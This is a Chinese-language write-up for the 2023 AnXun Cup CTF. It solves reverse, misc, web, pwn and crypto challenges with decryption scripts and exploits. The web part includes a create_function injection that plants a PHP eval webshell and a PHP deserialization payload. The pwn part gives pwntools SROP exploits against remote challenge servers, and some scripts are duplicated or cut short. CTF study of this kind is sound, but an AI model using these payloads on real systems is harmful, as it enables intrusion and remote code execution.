2023第六届安洵杯wp
打了十几个小时,唯一的感觉就是难,难,难
下面只分享一下我们做的题目的wp,能力有限,有不对的地方请各位师傅指出。
Reverse
你见...
1.sub_4577E0函数主要函数都写在注释里面,获取输入长度,根据长度分配堆空间,将密文赋值,关键加密和比较等
2.sub_45126F函数分析,sub_4521B5函数的作用:此函数使用输入的user对两段数据进行一个操作,后续这个 51c048 和 51c000会对输入加密,由于这个函数只有用户名输入正确就行没啥好分析的
3.sub_451F08是加密输入的重点就是将密码和密码的长度赋值,进入sub_4522FA加密
4.sub_4522FA函数分析,一次加密八字节一共加密两次,调用a2函数加密
5.这个函数加密其实很简单就是使用之前user处理的两个数据异或最后在交换就可以了,加密赋值回去后又翻转了
6.脚本需要每两个值交换,并且需要倒叙我是手动倒序的
得到flag:D0g3{UzBtZTBuZV9EMGczQHRoZWJsdWVmMXNo}
感觉有点点简单
根据字符串跳转至关键判断处
魔改rc4
魔改base64
import requests
import base64
import hashlib
def rc4_decrypt(key, ciphertext):
key_length = len(key)
S = list(range(64))
j = 0
for i in range(64):
j = (j + S[i] + key[i % key_length]) % 64
S[i], S[j] = S[j], S[i]
i = j = 0
plaintext = bytearray()
for char in ciphertext:
i = (i + 1) % 64
j = (j + S[i]) % 64
S[i], S[j] = S[j], S[i]
keystream_byte = S[(S[i] + S[j]+(i^j)) % 64]
plaintext.append(char ^ ((i^j)&keystream_byte))
return bytes(plaintext)
def main():
key = [ord(x) for x in 'the_key_']
data = [92, 33, 123,51, 81, 51,56, 40, 58,43, 48, 64,22, 44, 51,37, 54, 4,56, 70, 81,60, 37, 74,19, 51, 57,59, 105, 39,77, 41,51,20, 51, 70,48, 49, 50,0]
print(rc4_decrypt(key, data))
if __name__ == "__main__":
main()
最后一位暴力猜测,得到D0g3{608292C4-15400BA4-B3299A5C-704C292D}
牢大想你了
我个人对这道题的出题人表示极度的看不起,甚至厌恶
在managed文件夹下找到Assembly-CSharp文件
找到密文和密钥
跟进,发现是tea算法
编写脚本得到flag
from ctypes import c_uint32
def decrypt(v, k):
v0, v1 = map(c_uint32, v)
delta = 2654435769
sum1 = c_uint32(delta * 32)
for _ in range(32):
v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + sum1.value) ^ ((v0.value >> 5) + k[3])
v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + sum1.value) ^ ((v1.value >> 5) + k[1])
sum1.value -= delta
decrypted_values = [chr((v0.value >> 8 * i) & 0xff) for i in range(4)] + [chr((v1.value >> 8 * i) & 0xff) for i in range(4)]
return ''.join(decrypted_values)
from ctypes import c_uint32
def decrypt(v, k):
v0, v1 = map(c_uint32, v)
delta = 2654435769
sum1 = c_uint32(delta * 32)
for _ in range(32):
v1.value -= ((v0.value << 4) + k[2]) ^ (v0.value + sum1.value) ^ ((v0.value >> 5) + k[3])
v0.value -= ((v1.value << 4) + k[0]) ^ (v1.value + sum1.value) ^ ((v1.value >> 5) + k[1])
sum1.value -= delta
decrypted_values = [chr((v0.value >> 8 * i) & 0xff) for i in range(4)] + [chr((v1.value >> 8 * i) & 0xff) for i in range(4)]
return ''.join(decrypted_values)
flag{it_is_been_a_long_day_without_you_my_friend}
Misc
dacongのsecret
一键提取盲水印
盲水印得到第一层密码:d@C0ng 1s cUt3!!
尝试提取图片1的第20个片段,加上png的文件头,就是形成第二个压缩包
爆破宽高,得到第二层压缩包密码: wH1T3_r0cckEt_sh00ter
然后我们去还原
base64隐写:
密码是m1ku_1s_sha_fufu123
然后解密,得到flag
flag{d@C0ng_1s_r3@lIy_Re@iLY_Cute}
Nahida
观察到文件尾倒序为FFD8是图片文件头
倒序保存为jpg
Silenteye解密,密钥为Nahida
签到处
(居然签到拿了一血!!)
dacongのWindows
sstv
flag{Ar3_Th3Y
这个压缩包
_tHE_Dddd
找到这两段
U2FsdGVkX18M+E34cKJlmTU3uo1lHqjUQhKPTBGJiMjg4RWX6saTjOJmLU86538e
d@@Coong_LiiKEE_F0r3NsIc
这两个解aes是flag3
dAc0Ng_SIst3Rs????}
flag{Ar3_Th3Y_tHE_DddddAc0Ng_SIst3Rs????}
Web
what's my name
正则的意思是dog3的字符长度要是5的倍速。然后那个createfuntion是生成一个匿名表达式,最后两位数是随机生成的。然后我们构造闭合出一个写shell的payload后,计算字符长度72。然后我们再让name为%00lambda_72。然后一直发包就行了。直到miao是等于72.
GET/?d0g3=%22]);}file_put_contents(%22shell.php%22,%22%3C?php%20eval(\$_POST[1]);%22);/*ainclude&name=%00lambda_72 HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8
Cookie: PHPSESSID=41qmrn9m1n43irdo6jedoscmc5; XDEBUG_SESSION=XDEBUG_ECLIPSE
Connection: close
访问shell.php。蚁剑链接。发现一个admin.php。源码是让本地去访问。直接curl一下就行了
flag{9da979ca-a165-11ee-844d-00163e0447d0}
easy_unserialize
<?php
class Luck{
public $l1;
public $md5;
}
class You{
public $y1;
public function __construct(){
$this->y1 = new Luck;
}
}
class Flag{
public $SplFileObject;
}
$a = new You;
$a->y1->md5 = new Luck;
$a->y1->md5->l1 = new Flag;
$a->y1->md5->l1->SplFileObject="/FfffLlllLaAaaggGgGg";
echo urlencode(serialize($a));
?>
flag{ebe32ada-a176-11ee-9aeb-00163e0447d0}
Pwn
side_channel,initia...
直接放exp了,自行理解即可
from pwn import *
# 初始化远程连接
p = remote('124.71.177.14', 10001)
# 清除架构信息,设置为amd64
context.clear(arch='amd64')
# 加载目标ELF文件
elf = ELF('./chall')
# 一些可能的字符和地址
possible_list = "-0123456789abcdefghijklmnopqrstuvwxyz{}"
syscall_got = elf.got['syscall']
syscall_plt = elf.plt['syscall']
bss = 0x404060
leave_ret = 0x000000000040136c
mov_rax_15_ret = 0x0000000000401193
syscall_ret = 0x000000000040118a
frame_write = SigreturnFrame()
frame_write.rdi = 10
frame_write.rsi = bss >> 12 << 12
frame_write.rdx = 0x1000
frame_write.rcx = 7
frame_write.rsp = bss + 0x110
frame_write.rip = syscall_plt
frame_read = SigreturnFrame()
frame_read.rdi = 0
frame_read.rsi = 0
frame_read.rdx = bss + 0x300
frame_read.rcx = 0x100
frame_read.rsp = bss + 0x300
frame_read.rip = syscall_plt
def pwn(pos, char):
# 先发送"easyhack"字符串,然后等待接收回应
p.sendline(b'easyhack')
p.recvuntil(b'easyhack') # 这行代码似乎是多余的,因为我们已经发送了"easyhack"字符串。
# 构造payload进行写入操作
payload = b'flag'.ljust(8, b'\x00')
payload += p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(frame_write)
payload = payload.ljust(0x100, b'\x00')
payload += p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(frame_read)
p.send(payload)
Seccomp
import time
from pwn import *
context.clear(arch='amd64')
elf = ELF('./chall')
p = process('./chall')
# p = remote('47.108.206.43', 36983)
syscall_got = elf.got['syscall']
syscall_plt = elf.plt['syscall']
bss = 0x404060
leave_ret = 0x40136c
mov_rax_15_ret = 0x401193
syscall_ret = 0x40118a
open_frame = SigreturnFrame()
open_frame.rdi = 2
open_frame.rsi = bss
open_frame.rdx = 0
open_frame.rsp = bss + 0x110
open_frame.rip = syscall_plt
read_frame = SigreturnFrame()
read_frame.rdi = 0
read_frame.rsi = 3
read_frame.rdx = bss + 0x500
read_frame.rcx = 0x200
read_frame.rsp = bss + 0x218
read_frame.rip = syscall_plt
write_frame = SigreturnFrame()
write_frame.rdi = 1
write_frame.rsi = 1
write_frame.rdx = bss + 0x500
write_frame.rcx = 0x40
write_frame.rsp = bss + 0x320
write_frame.rip = syscall_plt
p.recvuntil(b'easyhack')
payload = b'flag'.ljust(8, b'\x00') + p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(open_frame) + p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(read_frame) + p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(write_frame)
p.send(payload)
p.recvuntil(b'what is SUID')
payload = b'a' * (0x32 - 0x8) + p64(bss) + p32(leave_ret)
p.send(payload)
p.interactive()
Crypto
010101
from pwn import *
from string import *
from hashlib import *
from Crypto.Util.number import *
import random
table = digits + ascii_letters
context.log_level = 'debug'
r = remote('124.71.177.14', int(10001))
def proof(mm, cc):
for a in table:
for b in table:
for c in table:
for d in table:
if sha256((a + b + c + d + mm).encode()).hexdigest() == cc:
return (a + b + c + d).encode()
tmp = r.recvline()[:-1].decode()
mm = tmp[14:30]
cc = tmp[32:]
ans = proof(mm, cc)
print(ans)
r.sendlineafter(b'Give Me XXXX:', ans)
r.sendlineafter(b'Press 1 to get ciphertext\n', b'1')
n = int(r.recvline()[:-1])
p = r.recvline()[:-1].decode()
c = int(r.recvline()[:-1])
p1 = p[:1024]
p2 = p[1024:]
while True:
p1 = list(p[:1024])
p2 = list(p[1024:])
# Use a known prime number generation algorithm, not random changes to find primes.
# This is not a practical approach to finding prime numbers.
p1[random.choice([i for i, c in enumerate(p1) if c == '0'])] = '1'
p2[random.choice([i for i, c in enumerate(p1) if c == '1'])] = '0'
if isPrime(int("".join(p1) + "".join(p2), 2)):
pp = int("".join(p1) + "".join(p2), 2)
if n % pp == 0:
qq = n // pp
phi = (pp - 1) * (qq - 1)
d = inverse(65537, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
break # Only break if you find a prime number that works. Otherwise, keep trying.